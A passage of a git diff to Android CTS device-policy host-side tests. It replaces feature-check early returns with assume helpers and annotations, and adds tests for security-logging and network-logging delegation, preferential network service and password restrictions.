     public void testFactoryResetProtectionPolicy() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         try {
             runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceFeatureUtils",
                     "testHasFactoryResetProtectionPolicy", mUserId);
@@ -271,9 +264,6 @@
 
     @Test
     public void testCommonCriteriaMode() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".CommonCriteriaModeTest", mUserId);
     }
 
@@ -281,18 +271,11 @@
     @Test
     @Ignore("b/145932189")
     public void testSystemUpdatePolicy() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".systemupdate.SystemUpdatePolicyTest", mUserId);
     }
 
     @Test
     public void testInstallUpdate() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         pushUpdateFileToDevice("notZip.zi");
         pushUpdateFileToDevice("empty.zip");
         pushUpdateFileToDevice("wrongPayload.zip");
@@ -303,9 +286,8 @@
 
     @Test
     public void testInstallUpdateLogged() throws Exception {
-        if (!mHasFeature || !isDeviceAb() || !isStatsdEnabled(getDevice())) {
-            return;
-        }
+        assumeIsDeviceAb();
+
         pushUpdateFileToDevice("wrongHash.zip");
         assertMetricsLogged(getDevice(), () -> {
             runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".systemupdate.InstallUpdateTest",
@@ -319,12 +301,8 @@
                     .build());
     }
 
-    @FlakyTest(bugId = 137093665)
     @Test
     public void testSecurityLoggingWithSingleUser() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Backup stay awake setting because testGenerateLogs() will turn it off.
         final String stayAwake = getDevice().getSetting("global", "stay_on_while_plugged_in");
         try {
@@ -367,9 +345,6 @@
 
     @Test
     public void testSecurityLoggingEnabledLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".SecurityLoggingTest", "testEnablingSecurityLogging");
             executeDeviceTestMethod(".SecurityLoggingTest", "testDisablingSecurityLogging");
@@ -385,9 +360,7 @@
 
     @Test
     public void testSecurityLoggingWithTwoUsers() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
+        assumeCanCreateAdditionalUsers(1);
 
         final int userId = createUser();
         try {
@@ -405,13 +378,140 @@
     }
 
     @Test
-    public void testLocationPermissionGrantNotifies() throws Exception {
-        if (!mHasFeature) {
-            return;
+    public void testSecurityLoggingDelegate() throws Exception {
+        installAppAsUser(DELEGATE_APP_APK, mUserId);
+        try {
+            // Test that the delegate cannot access the logs already
+            runDeviceTestsAsUser(DELEGATE_APP_PKG, ".SecurityLoggingDelegateTest",
+                    "testCannotAccessApis", mUserId);
+
+            // Set security logging delegate
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".SecurityLoggingTest",
+                    "testSetDelegateScope_delegationSecurityLogging", mUserId);
+
+            runSecurityLoggingTests(DELEGATE_APP_PKG,
+                    ".SecurityLoggingDelegateTest");
+        } finally {
+            // Remove security logging delegate
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".SecurityLoggingTest",
+                    "testSetDelegateScope_noDelegation", mUserId);
         }
+    }
+
+    private void runSecurityLoggingTests(String packageName, String testClassName)
+            throws Exception {
+        // Backup stay awake setting because testGenerateLogs() will turn it off.
+        final String stayAwake = getDevice().getSetting("global", "stay_on_while_plugged_in");
+        try {
+            // Turn logging on.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testEnablingSecurityLogging", mUserId);
+            // Reboot to ensure ro.device_owner is set to true in logd and logging is on.
+            rebootAndWaitUntilReady();
+            waitForUserUnlock(mUserId);
+
+            // Generate various types of events on device side and check that they are logged.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testGenerateLogs", mUserId);
+            getDevice().executeShellCommand("whoami"); // Generate adb command securty event
+            getDevice().executeShellCommand("dpm force-security-logs");
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testVerifyGeneratedLogs", mUserId);
+
+            // Immediately attempting to fetch events again should fail.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testSecurityLoggingRetrievalRateLimited", mUserId);
+        } finally {
+            // Turn logging off.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testDisablingSecurityLogging", mUserId);
+            // Restore stay awake setting.
+            if (stayAwake != null) {
+                getDevice().setSetting("global", "stay_on_while_plugged_in", stayAwake);
+            }
+        }
+    }
+
+    @Test
+    public void testLocationPermissionGrantNotifies() throws Exception {
         installAppPermissionAppAsUser();
         configureNotificationListener();
-        executeDeviceTestMethod(".PermissionsTest", "testUserNotifiedOfLocationPermissionGrant");
+        executeDeviceTestMethod(".PermissionsTest",
+                "testPermissionGrantStateGranted_userNotifiedOfLocationPermission");
+    }
+
+    @Override
+    @Test
+    public void testAdminControlOverSensorPermissionGrantsDefault() throws Exception {
+        // In Device Owner mode, by default, admin should be able to grant sensors-related
+        // permissions.
+        executeDeviceTestMethod(".SensorPermissionGrantTest",
+                "testAdminCanGrantSensorsPermissions");
+    }
+
+    @Override
+    @Test
+    public void testGrantOfSensorsRelatedPermissions() throws Exception {
+        // Skip for now, re-enable when the code path sets DO as able to grant permissions.
+    }
+
+    @Override
+    @Test
+    public void testSensorsRelatedPermissionsNotGrantedViaPolicy() throws Exception {
+        // Skip for now, re-enable when the code path sets DO as able to grant permissions.
+    }
+
+    @Override
+    @Test
+    public void testStateOfSensorsRelatedPermissionsCannotBeRead() throws Exception {
+        // Skip because in DO mode the admin can read permission state.
+    }
+
+    //TODO(b/180413140) Investigate why the test fails on DO mode.
+    @Override
+    @Test
+    public void testPermissionPrompts() throws Exception {
+    }
+
+    @Override
+    public void testSuspendPackage() throws Exception {
+        ignoreOnHeadlessSystemUserMode("headless system user doesn't launch activities");
+        super.testSuspendPackage();
+    }
+
+    @Override
+    public void testSuspendPackageWithPackageManager() throws Exception {
+        ignoreOnHeadlessSystemUserMode("headless system user doesn't launch activities");
+        super.testSuspendPackageWithPackageManager();
+    }
+
+    @Override
+    public void testApplicationHidden() throws Exception {
+        if (isHeadlessSystemUserMode()) {
+            // Must run on user 0 because the test has a broadcast receiver that listen to packages
+            // added / removed intents
+            mUserId = mDeviceOwnerUserId;
+            CLog.d("testApplicationHidden(): setting mUserId as %d before running it", mUserId);
+        }
+        super.testApplicationHidden();
+    }
+
+    @Override
+    protected void runDeviceTestsAsUser(String pkgName, String testClassName, int userId)
+            throws DeviceNotAvailableException {
+        runDeviceTestsAsUser(pkgName, testClassName, /* testMethodName= */ null, userId,
+                paramsForDeviceOwnerTest());
+    }
+
+    @Override
+    protected void executeDeviceTestMethod(String className, String testName) throws Exception {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, testName, mUserId,
+                paramsForDeviceOwnerTest());
+    }
+
+    @Override
+    protected void executeDeviceTestClass(String className) throws Exception {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, mUserId);
     }
 
     private void configureNotificationListener() throws DeviceNotAvailableException {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java
index 0e9ae3e..d22ca5f 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java
@@ -29,26 +29,23 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        if (mHasFeature) {
-            mUserId = mPrimaryUserId;
+        mUserId = mPrimaryUserId;
 
-            installAppAsUser(DEVICE_ADMIN_APK, mUserId);
-            if (!setDeviceOwner(
-                    DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
-                    /*expectFailure*/ false)) {
-                removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
-                getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
-                fail("Failed to set device owner");
-            }
+        installAppAsUser(DEVICE_ADMIN_APK, mUserId);
+        if (!setDeviceOwner(
+                DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
+                /*expectFailure*/ false)) {
+            removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+            fail("Failed to set device owner");
         }
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            assertTrue("Failed to remove device owner",
-                    removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
-        }
+        assertTrue("Failed to remove device owner",
+                removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
+
         super.tearDown();
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index 659b07e..bb1a66b 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -16,24 +16,36 @@
 
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
+
 import android.platform.test.annotations.FlakyTest;
 import android.platform.test.annotations.LargeTest;
+import android.stats.devicepolicy.EventId;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 import com.android.cts.devicepolicy.annotations.LockSettingsTest;
 import com.android.cts.devicepolicy.annotations.PermissionsTest;
+import com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier;
+import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.tradefed.device.DeviceNotAvailableException;
 
 import org.junit.Test;
 
+import java.util.ArrayList;
+import java.util.List;
+
 /**
  * Set of tests for managed profile owner use cases that also apply to device owners.
  * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTest.
  */
+// We need managed users to be supported in order to create a profile of the user owner.
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class MixedManagedProfileOwnerTest extends DeviceAndProfileOwnerTest {
 
     private static final String CLEAR_PROFILE_OWNER_NEGATIVE_TEST_CLASS =
             DEVICE_ADMIN_PKG + ".ClearProfileOwnerNegativeTest";
-    private static final String FEATURE_WIFI = "android.hardware.wifi";
+
+    private static final String DELEGATION_NETWORK_LOGGING = "delegation-network-logging";
 
     private int mParentUserId = -1;
 
@@ -41,14 +53,9 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        // We need managed users to be supported in order to create a profile of the user owner.
-        mHasFeature &= hasDeviceFeature("android.software.managed_users");
-
-        if (mHasFeature) {
-            removeTestUsers();
-            mParentUserId = mPrimaryUserId;
-            createManagedProfile();
-        }
+        removeTestUsers();
+        mParentUserId = mPrimaryUserId;
+        createManagedProfile();
     }
 
     private void createManagedProfile() throws Exception {
@@ -63,9 +70,8 @@
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            removeUser(mUserId);
-        }
+        removeUser(mUserId);
+
         super.tearDown();
     }
 
@@ -78,9 +84,6 @@
     @LargeTest
     @Test
     public void testScreenCaptureDisabled_allowedPrimaryUser() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // disable screen capture in profile
         setScreenCaptureDisabled(mUserId, true);
 
@@ -93,9 +96,6 @@
     @FlakyTest
     @Test
     public void testScreenCaptureDisabled_assist_allowedPrimaryUser() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // disable screen capture in profile
         executeDeviceTestMethod(".ScreenCaptureDisabledTest", "testSetScreenCaptureDisabled_true");
         try {
@@ -137,6 +137,27 @@
         // and profile owners on the primary user.
     }
 
+    @Test
+    public void testSetGetPreferentialNetworkServiceStatus() throws Exception {
+        executeDeviceTestMethod(".PreferentialNetworkServiceStatusTest",
+                "testGetSetPreferentialNetworkServiceStatus");
+    }
+
+    @Test
+    public void testSetPreferentialNetworkServiceStatusLogged() throws Exception {
+        DevicePolicyEventLogVerifier.assertMetricsLogged(getDevice(), () -> {
+            executeDeviceTestMethod(".DevicePolicyLoggingTest",
+                    "testSetPreferentialNetworkServiceEnabledLogged");
+        }, new DevicePolicyEventWrapper.Builder(
+                EventId.SET_PREFERENTIAL_NETWORK_SERVICE_ENABLED_VALUE)
+                .setBoolean(true)
+                .build(),
+        new DevicePolicyEventWrapper.Builder(
+                EventId.SET_PREFERENTIAL_NETWORK_SERVICE_ENABLED_VALUE)
+                .setBoolean(false)
+                .build());
+    }
+
     /** VPN tests don't require physical device for managed profile, thus overriding. */
     @FlakyTest
     @Override
@@ -185,9 +206,8 @@
     @LockSettingsTest
     @Test
     public void testResetPasswordWithToken() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         // Execute the test method that's guaranteed to succeed. See also test in base class
         // which are tolerant to failure and executed by MixedDeviceOwnerTest and
         // MixedProfileOwnerTest
@@ -222,9 +242,6 @@
 
     @Test
     public void testCannotClearProfileOwner() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, CLEAR_PROFILE_OWNER_NEGATIVE_TEST_CLASS, mUserId);
     }
 
@@ -237,9 +254,6 @@
 
     @Test
     public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         setUpDelegatedCertInstallerAndRunTests(() -> {
             runDeviceTestsAsUser("com.android.cts.certinstaller",
                     ".DelegatedDeviceIdAttestationTest",
@@ -248,11 +262,9 @@
             // OrgOwnedProfileOwnerTest#testDelegatedCertInstallerDeviceIdAttestation
         });
     }
+
     @Test
     public void testDeviceIdAttestationForProfileOwner() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Test that Device ID attestation for the profile owner does not work without grant.
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceIdAttestationTest",
                 "testFailsWithoutProfileOwnerIdsGrant", mUserId);
@@ -263,9 +275,6 @@
     @Test
     @Override
     public void testSetKeyguardDisabledFeatures() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".KeyguardDisabledFeaturesTest",
                 "testSetKeyguardDisabledFeatures_onParentSilentIgnoreWhenCallerIsNotOrgOwnedPO",
                 mUserId);
@@ -299,7 +308,6 @@
     }
 
     @Override
-    @FlakyTest
     @PermissionsTest
     @Test
     public void testPermissionGrant() throws Exception {
@@ -307,7 +315,6 @@
     }
 
     @Override
-    @FlakyTest
     @PermissionsTest
     @Test
     public void testPermissionMixedPolicies() throws Exception {
@@ -323,7 +330,6 @@
 
     @Override
     @PermissionsTest
-    @FlakyTest(bugId = 145350538)
     @Test
     public void testPermissionPolicy() throws Exception {
         super.testPermissionPolicy();
@@ -338,7 +344,6 @@
 
     @Override
     @PermissionsTest
-    @FlakyTest(bugId = 145350538)
     @Test
     public void testPermissionAppUpdate() throws Exception {
         super.testPermissionAppUpdate();
@@ -346,7 +351,6 @@
 
     @Override
     @PermissionsTest
-    @FlakyTest(bugId = 145350538)
     @Test
     public void testPermissionGrantPreMApp() throws Exception {
         super.testPermissionGrantPreMApp();
@@ -354,7 +358,6 @@
 
     @Override
     @PermissionsTest
-    @FlakyTest(bugId = 145350538)
     @Test
     public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted()
             throws Exception {
@@ -399,23 +402,73 @@
 
     @Test
     public void testWifiMacAddress() throws Exception {
-        if (!mHasFeature || !hasDeviceFeature(FEATURE_WIFI)) {
-            return;
-        }
+        assumeHasWifiFeature();
 
         runDeviceTestsAsUser(
                 DEVICE_ADMIN_PKG, ".WifiTest", "testCannotGetWifiMacAddress", mUserId);
     }
 
-    //TODO(b/130844684): Remove when removing profile owner on personal device access to device
-    // identifiers.
+    @Override
+    @LockSettingsTest
     @Test
-    public void testProfileOwnerCanGetDeviceIdentifiers() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
+    public void testSecondaryLockscreen() throws Exception {
+        // Managed profiles cannot have secondary lockscreens set.
+    }
 
-        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceIdentifiersTest",
-                "testProfileOwnerCanGetDeviceIdentifiersWithPermission", mUserId);
+    @Test
+    public void testNetworkLogging() throws Exception {
+        installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+        testNetworkLoggingOnWorkProfile(DEVICE_ADMIN_PKG, ".NetworkLoggingTest");
+    }
+
+    @Test
+    public void testNetworkLoggingDelegate() throws Exception {
+        installAppAsUser(DELEGATE_APP_APK, mUserId);
+        installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+        try {
+            runDeviceTestsAsUser(DELEGATE_APP_PKG, ".WorkProfileNetworkLoggingDelegateTest",
+                    "testCannotAccessApis", mUserId);
+            // Set network logging delegate
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".NetworkLoggingTest",
+                    "testSetDelegateScope_delegationNetworkLogging", mUserId);
+
+            testNetworkLoggingOnWorkProfile(DELEGATE_APP_PKG,
+                    ".WorkProfileNetworkLoggingDelegateTest");
+        } finally {
+            // Remove network logging delegate
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".NetworkLoggingTest",
+                    "testSetDelegateScope_noDelegation", mUserId);
+        }
+    }
+
+    private void testNetworkLoggingOnWorkProfile(String packageName, String testClassName)
+            throws Exception {
+        try {
+            // Turn network logging on.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testSetNetworkLogsEnabled_true", mUserId);
+
+            // Connect to websites from work profile, should be logged.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testConnectToWebsites_shouldBeLogged", mUserId);
+            // Connect to websites from personal profile, should not be logged.
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".NetworkLoggingTest",
+                    "testConnectToWebsites_shouldNotBeLogged", mPrimaryUserId);
+
+            // Verify all work profile network logs have been received.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testRetrieveNetworkLogs_forceNetworkLogs_receiveNetworkLogs", mUserId);
+        } finally {
+            // Turn network logging off.
+            runDeviceTestsAsUser(packageName, testClassName,
+                    "testSetNetworkLogsEnabled_false", mUserId);
+        }
+    }
+
+    @Override
+    List<String> getAdditionalDelegationScopes() {
+        final List<String> result = new ArrayList<>();
+        result.add(DELEGATION_NETWORK_LOGGING);
+        return result;
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
index 8688335..a09a232 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
@@ -16,9 +16,9 @@
 
 package com.android.cts.devicepolicy;
 
-import android.platform.test.annotations.FlakyTest;
-import android.platform.test.annotations.LargeTest;
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 import com.android.cts.devicepolicy.annotations.PermissionsTest;
 
 import org.junit.Test;
@@ -27,22 +27,18 @@
  * Set of tests for managed profile owner use cases that also apply to device owners.
  * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTestApi25.
  */
+// We need managed users to be supported in order to create a profile of the user owner.
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class MixedManagedProfileOwnerTestApi25 extends DeviceAndProfileOwnerTestApi25 {
-
     private int mParentUserId = -1;
 
     @Override
     public void setUp() throws Exception {
         super.setUp();
 
-        // We need managed users to be supported in order to create a profile of the user owner.
-        mHasFeature &= hasDeviceFeature("android.software.managed_users");
-
-        if (mHasFeature) {
-            removeTestUsers();
-            mParentUserId = mPrimaryUserId;
-            createManagedProfile();
-        }
+        removeTestUsers();
+        mParentUserId = mPrimaryUserId;
+        createManagedProfile();
     }
 
     private void createManagedProfile() throws Exception {
@@ -57,9 +53,8 @@
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            removeUser(mUserId);
-        }
+        removeUser(mUserId);
+
         super.tearDown();
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi30.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi30.java
new file mode 100644
index 0000000..100dbf5
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi30.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
+
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
+
+import org.junit.Test;
+
+/**
+ * Set of tests for managed profile owner use cases that may also apply to device owner.
+ * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTestApi30.
+ */
+// We need managed users to be supported in order to create a profile of the user owner.
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
+public class MixedManagedProfileOwnerTestApi30 extends DeviceAndProfileOwnerTestApi30 {
+    private int mParentUserId = -1;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        removeTestUsers();
+        mParentUserId = mPrimaryUserId;
+        createManagedProfile();
+    }
+
+    private void createManagedProfile() throws Exception {
+        mUserId = createManagedProfile(mParentUserId);
+        switchUser(mParentUserId);
+        startUserAndWait(mUserId);
+
+        installAppAsUser(DEVICE_ADMIN_APK, mUserId);
+        setProfileOwnerOrFail(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+        startUserAndWait(mUserId);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        removeUser(mUserId);
+
+        super.tearDown();
+    }
+
+    @Test
+    public void testPasswordMinimumRestrictions() throws Exception {
+        assumeHasSecureLockScreenFeature();
+
+        executeDeviceTestClass(".PasswordMinimumRestrictionsTest");
+    }
+
+    @Test
+    public void testPasswordComplexityAndQuality() throws Exception {
+        assumeHasSecureLockScreenFeature();
+
+        executeDeviceTestClass(".PasswordQualityAndComplexityTest");
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerHostSideTransferTest.java
index 68a09cc..f3465c7 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerHostSideTransferTest.java
@@ -15,6 +15,10 @@
  */
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
+
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
+
 /**
  * Tests the DPC transfer functionality for profile owner. Testing is done by having two test DPCs,
  * CtsTransferOwnerOutgoingApp and CtsTransferOwnerIncomingApp. The former is the current DPC
@@ -22,22 +26,21 @@
  * process, first we setup some policies in the client side in CtsTransferOwnerOutgoingApp and then
  * we verify the policies are still there in CtsTransferOwnerIncomingApp.
  */
+// We need managed users to be supported in order to create a profile of the user owner.
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class MixedProfileOwnerHostSideTransferTest extends
         DeviceAndProfileOwnerHostSideTransferTest {
 
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        // We need managed users to be supported in order to create a profile of the user owner.
-        mHasFeature &= hasDeviceFeature("android.software.managed_users");
-        if (mHasFeature) {
-            int profileOwnerUserId = setupManagedProfile(TRANSFER_OWNER_OUTGOING_APK,
-                    TRANSFER_OWNER_OUTGOING_TEST_RECEIVER);
-            if (profileOwnerUserId != -1) {
-                setupTestParameters(profileOwnerUserId, TRANSFER_PROFILE_OWNER_OUTGOING_TEST,
-                        TRANSFER_PROFILE_OWNER_INCOMING_TEST);
-                installAppAsUser(TRANSFER_OWNER_INCOMING_APK, mUserId);
-            }
+
+        int profileOwnerUserId = setupManagedProfile(TRANSFER_OWNER_OUTGOING_APK,
+                TRANSFER_OWNER_OUTGOING_TEST_RECEIVER);
+        if (profileOwnerUserId != -1) {
+            setupTestParameters(profileOwnerUserId, TRANSFER_PROFILE_OWNER_OUTGOING_TEST,
+                    TRANSFER_PROFILE_OWNER_INCOMING_TEST);
+            installAppAsUser(TRANSFER_OWNER_INCOMING_APK, mUserId);
         }
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
index 6ec9ac8..d370b3f 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
@@ -22,38 +22,42 @@
 import android.platform.test.annotations.FlakyTest;
 import android.platform.test.annotations.LargeTest;
 
+import com.android.tradefed.log.LogUtil.CLog;
+
+import org.junit.Ignore;
 import org.junit.Test;
 
 /**
  * Set of tests for pure (non-managed) profile owner use cases that also apply to device owners.
  * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTest.
  */
-public class MixedProfileOwnerTest extends DeviceAndProfileOwnerTest {
+public final class MixedProfileOwnerTest extends DeviceAndProfileOwnerTest {
 
     @Override
     public void setUp() throws Exception {
         super.setUp();
 
-        if (mHasFeature) {
-            mUserId = mPrimaryUserId;
+        mUserId = mPrimaryUserId;
 
-            installAppAsUser(DEVICE_ADMIN_APK, mUserId);
-            if (!setProfileOwner(
-                    DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
-                    /*expectFailure*/ false)) {
-                removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
-                getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
-                fail("Failed to set profile owner");
-            }
+        CLog.i("%s.setUp(): mUserId=%d, mPrimaryUserId=%d, mInitialUserId=%d, "
+                + "mDeviceOwnerUserId=%d", getClass(), mUserId, mPrimaryUserId, mInitialUserId,
+                mDeviceOwnerUserId);
+
+        installAppAsUser(DEVICE_ADMIN_APK, mUserId);
+        if (!setProfileOwner(
+                DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
+                /*expectFailure*/ false)) {
+            removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+            fail("Failed to set profile owner");
         }
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            assertTrue("Failed to remove profile owner.",
+        assertTrue("Failed to remove profile owner.",
                     removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
-        }
+
         super.tearDown();
     }
 
@@ -80,6 +84,7 @@
 
     @Override
     @FlakyTest(bugId = 140932104)
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     @Test
     public void testLockTaskAfterReboot() throws Exception {
         super.testLockTaskAfterReboot();
@@ -87,6 +92,7 @@
 
     @Override
     @FlakyTest(bugId = 140932104)
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     @Test
     public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
         super.testLockTaskAfterReboot_tryOpeningSettings();
@@ -94,6 +100,7 @@
 
     @Override
     @FlakyTest(bugId = 140932104)
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     @Test
     public void testLockTask_exitIfNoLongerAllowed() throws Exception {
         super.testLockTask_exitIfNoLongerAllowed();
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTestApi25.java
index b186c20..179e505 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTestApi25.java
@@ -29,26 +29,23 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        if (mHasFeature) {
-            mUserId = mPrimaryUserId;
